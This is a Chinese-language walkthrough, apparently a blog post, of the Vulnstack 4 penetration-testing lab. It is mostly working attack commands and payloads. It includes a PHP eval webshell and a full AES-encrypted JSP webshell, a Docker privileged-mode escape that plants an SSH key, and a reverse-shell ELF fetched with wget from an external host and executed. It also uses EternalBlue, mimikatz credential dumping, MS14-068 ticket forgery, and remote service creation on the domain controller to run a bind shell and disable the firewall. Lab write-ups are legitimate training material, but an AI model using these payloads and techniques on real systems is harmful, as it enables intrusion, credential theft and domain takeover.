一.介绍

下载地址http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

strusts漏洞利用phpmyadmin getshell、tomcat 漏洞利用、docker逃逸、ms14-068、ssh密钥利用、流量转发、历史命令信息泄露、域渗透

机器密码

web: ubuntu:ubuntu
win7: douser:Dotest123
DC: administrator:Test2008

二.环境搭建

下载完成后为三个压缩包,解压后如图
在这里插入图片描述
在每个文件夹中创建一个空文件夹,将ovf文件直接拉入vmware
在这里插入图片描述
虚拟网络编辑器配置
在这里插入图片描述

Ubuntu 64 配置(192.168.10.103、192.168.183.128)
在这里插入图片描述DC(192.168.183.130)
在这里插入图片描述
win7(192.168.183.129)
在这里插入图片描述

Web服务器为Ubuntu,漏洞被封装在docker里,需要手动开启

s2-045
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
CVE-2017-12615(tomcat put上传)
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cve-2018-12613(phpmyadmin文件包含漏洞)
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

总体思路

web环境中有三个docker容器,都有漏洞并且都能利用拿到shell,但是因为在docker环境中,所以需要docker逃逸,这里利用特权模式逃逸配合创建ssh密匙实现无密码连接,或者新建用户登录都可拿到web靶机,然后信息收集后发现剩下两台靶机都在内网中,所以这里需要靠web靶机利用chisel搭建路由,搭建好之后发现445端口都开放并且存在永恒之蓝漏洞,经过利用后拿到其中一个win7域用户,由于桌面本身就存在许多能利用的工具,这里利用mimikatz+MS14-068拿下本机密码并提权到域控靶机上,最后利用win7 copy过去一个恶意exe文件,然后利用window sc命令完成执行,拿下最终DC

三.渗透测试

外网渗透

信息收集

arp-scan -l

在这里插入图片描述
发现192.168.10.103,进行端口扫描

nmap 192.168.10.103

在这里插入图片描述

-A全面扫描

nmap 192.168.10.103 -A

在这里插入图片描述
可以发现开了22的ssh,2001的struts2,2002的tomcat,2003的phpmyadmin,直接找对应漏洞利用方法

漏洞利用

struts2

structs工具可以直接扫然后利用拿到shell

phpmyadmin

直接搜phpmyadmin 4.8.1版本就有远程文件包含漏洞(CVE-2018-12613)等信息,再查看(CVE-2018-12613),首先任意文件读取

http://192.168.10.103:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

在这里插入图片描述
网上这个漏洞复现有两种方法,一个是插入一句话木马,通过生成的frm文件来进行命令执行,另一个是通过文件包含+session缓存文件

在这里插入图片描述
命令go后F12查看phpMyAdmin的value值
在这里插入图片描述
这里利用的原理是它会将这个插入的数据存入tmp/sess_"value"中,我们利用文件包含包含这个数据,然后进行命令执行

<?php @eval($_GET['qwer']);?>

在这里插入图片描述

tomcat

网上直接搜tomcat8.5.19,找到漏洞合集,这里可以PUT直接写入jsp木马,用冰蝎连接

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

在这里插入图片描述

在这里插入图片描述

docker逃逸

这里我们知道自己在docker环境里,但是通过判断自己是不是在docker环境里的命令是

ls -alh /.dockerenv #判断根目录下是否存在 .dockerenv 文件 
cat /proc/1/cgroup #查看系统的cgroup系统,看是否有docker字样

在这里插入图片描述
这里还在docker环境中,这里利用特权模式逃逸:管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载,这就导致我们可以获取大量设备文件访问权限

fdisk -l
/tmp/ >mkdir test
/tmp/ >mount /dev/sda1 test
/tmp/ >ls /test

在这里插入图片描述
本来想写个crontab反弹shell,好像命令有点长写不出来,又想着弄成.sh文件写在服务器上,下载下来执行,搞了20分钟也没反应
在这里插入图片描述

看着冰蝎的一键操作陷入了沉思,不过shell、msf反弹过去照样还是docker里
在这里插入图片描述
这里再利用获取ssh远程连接的方式

kali本地生成ssh秘钥

在这里插入图片描述

cat /etc/ssh/sshkey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClHgmj5/uE69LBEDscWysg92G9VN7Z8I9BInJDxjVf5XPvUAfv0zkPjbcAXWVjU/rBGcjPdkvppum7pNtHx3dxnTLmO3eAmM0XYtmAb53zj+Xuv254Fpk4tkhTGchw2pEFcGWTV+9kpZCXL0rWeLKbTGkqyH7L6PfT1/KE9zvAZNDq7VUya7HFKz9QclHxq3g0Ji6nV5ZKx8zTobSkFPYk+3o7N2Y/8mIF1eTYJT8ib24d4d48Z/rvqqBolTM+UU3Y6v40Gp082EK31CvhOoef0v6mqpAA6zITmGTg2AY0iTYZLUDJWpCnBOZW13lJGB5sVySR5Eic6Ggh/JQzjjyRvIKhCeftZ0RdEvYO1W/jXRPdM+yerkT/RzOzsCGxrUtZFgNZgRj5ZLrYmAQX8sZPVo5419IQIhmUCrb29FJPQt/EYEX0MMGqNtDAbX2LW92RqmnmaCQQt440PnT+Lzb257+FxCz0Qgy4BZdKKKkRNqdyuioct1L+zYwCKVHKyuU= root@kali

在服务器编写一个ssh.sh

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClHgmj5/uE69LBEDscWysg92G9VN7Z8I9BInJDxjVf5XPvUAfv0zkPjbcAXWVjU/rBGcjPdkvppum7pNtHx3dxnTLmO3eAmM0XYtmAb53zj+Xuv254Fpk4tkhTGchw2pEFcGWTV+9kpZCXL0rWeLKbTGkqyH7L6PfT1/KE9zvAZNDq7VUya7HFKz9QclHxq3g0Ji6nV5ZKx8zTobSkFPYk+3o7N2Y/8mIF1eTYJT8ib24d4d48Z/rvqqBolTM+UU3Y6v40Gp082EK31CvhOoef0v6mqpAA6zITmGTg2AY0iTYZLUDJWpCnBOZW13lJGB5sVySR5Eic6Ggh/JQzjjyRvIKhCeftZ0RdEvYO1W/jXRPdM+yerkT/RzOzsCGxrUtZFgNZgRj5ZLrYmAQX8sZPVo5419IQIhmUCrb29FJPQt/EYEX0MMGqNtDAbX2LW92RqmnmaCQQt440PnT+Lzb257+FxCz0Qgy4BZdKKKkRNqdyuioct1L+zYwCKVHKyuU= root@kali' > /test/home/ubuntu/.ssh/authorized_keys
cat /test/home/ubuntu/.ssh/authorized_keys

最后kali中-i连接

ssh -i /etc/ssh/sshkey ubuntu@192.168.10.103  

在这里插入图片描述

上线msf

上线msf,生成shell马,仍然上传到服务器上利用wget

msf:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f elf > shell1.elf #将shell1.elf上传到可下载的服务器上

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.10.105 #攻击机   
run
ubuntu:
wget http://yster.live/shell1.elf #下载那个shell1.elf
chmod 777 shell1.elf
./shell1.elf

在这里插入图片描述

内网渗透

配置代理

在shell命令中ip a发现183段,以及msf中的run get_local_subnets
在这里插入图片描述在这里插入图片描述
基本确定183是内网段了,接下来进行msf路由转发(已经获取的Meterpreter Shell的基础上添加一条去往“内网”的路由),这里我刚开始用的ew-master这个工具,win7靶机msf一上线就died,后面用的chisel才行,这里都记录一下

ew-master

ew-master,把ew下载到kali中然后上传到ubuntu中

upload /home/yster/ew-master/ew_for_linux64 /home/ubuntu

在这里插入图片描述在kali中

vim /etc/proxychains.conf#注释sock4,加上socks5 127.0.0.1 1088
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

在这里插入图片描述

在ubuntu端

chmod 777 ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.10.105 -e 1234 #这个地址是kali的地址

在这里插入图片描述

chisel

chisel
同样upload上传或者wget下载,放到ubuntu中
在ubuntu中

chmod 777 chisel
./chisel server -p 8888 --socks5

在这里插入图片描述在kali中

./chisel client 192.168.10.103:8888 socks

在这里插入图片描述

win7的信息收集

通过msf中的bash查看内网主机,然后通过 proxychains nmap 扫描内网指定ip

for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

proxychains nmap -sV -sT -Pn -n 192.168.183.129-130

在这里插入图片描述
在这里插入图片描述

利用msf这样扫描也可以

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.1-254
set threads 5
run

在这里插入图片描述

永恒之蓝利用

发现主机129和130,nmap扫描端口发现都开放445端口,利用扫描器测试发现也存在永恒之蓝漏洞

在这里插入图片描述

setg Proxies socks5:127.0.0.1:1080 
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.129
set lport 4444        
run

拿ew做socks代理时候msf一连就断,没法执行命令,换成chisel就好了

在这里插入图片描述
130的话有防火墙,关掉防火墙的话连得上,这里chcp 65001 解决乱码问题

内网信息收集

net view  #\\TESTWIN7-PC     \\WIN-ENS2VR5TR3N 
ping WIN-ENS2VR5TR3N   #ip 192.168.183.130
net user #Administrator      Guest       testclone 

在这里插入图片描述在这里插入图片描述
这里cd到用户douser的桌面发现这些工具

在这里插入图片描述这里操作之前要先换成DEMO\douser用户

getuid    #查看当前token
use incognito #加载incognito
list_tokens -u #列出AccessToken
impersonate_token "DEMO\douser" #模拟DEMO\douser用户

在这里插入图片描述

提权拿域控

在win7中利用mimikatz导出密码、sid等信息

mimikatz.exe
sekurlsa::logonpasswords

在这里插入图片描述
因为桌面这里有ms14-028工具,这里可以配合mimikatz进行权限提升,拿到生成TGT票据

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

在这里插入图片描述

kerberos::purge   #清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list    #查看当前机器凭证
kerberos::ptc TGT_douser@demo.com.ccache  #<上图中生成的票据文件>将票据注入到内存中

在这里插入图片描述
尝试执行命令

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

在这里插入图片描述
上传木马通过win7 copy到域控上

msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.154.129 lport=5555 -f exe -o /home/yster/bind.exe

setg proxies socks5:127.0.0.1:1080
use exploit/multi/handler 
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhosts 192.168.183.130
set AutoRunScript post/windows/manage/migrate
run

在这里插入图片描述
利用sc创建服务来执行木马文件

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

在这里插入图片描述
关闭防火墙虽然显示失败了但还是执行会成功

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

在这里插入图片描述

参考红日靶场第四关
参考红日安全ATT&CK靶机实战系列之vulnstack4

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐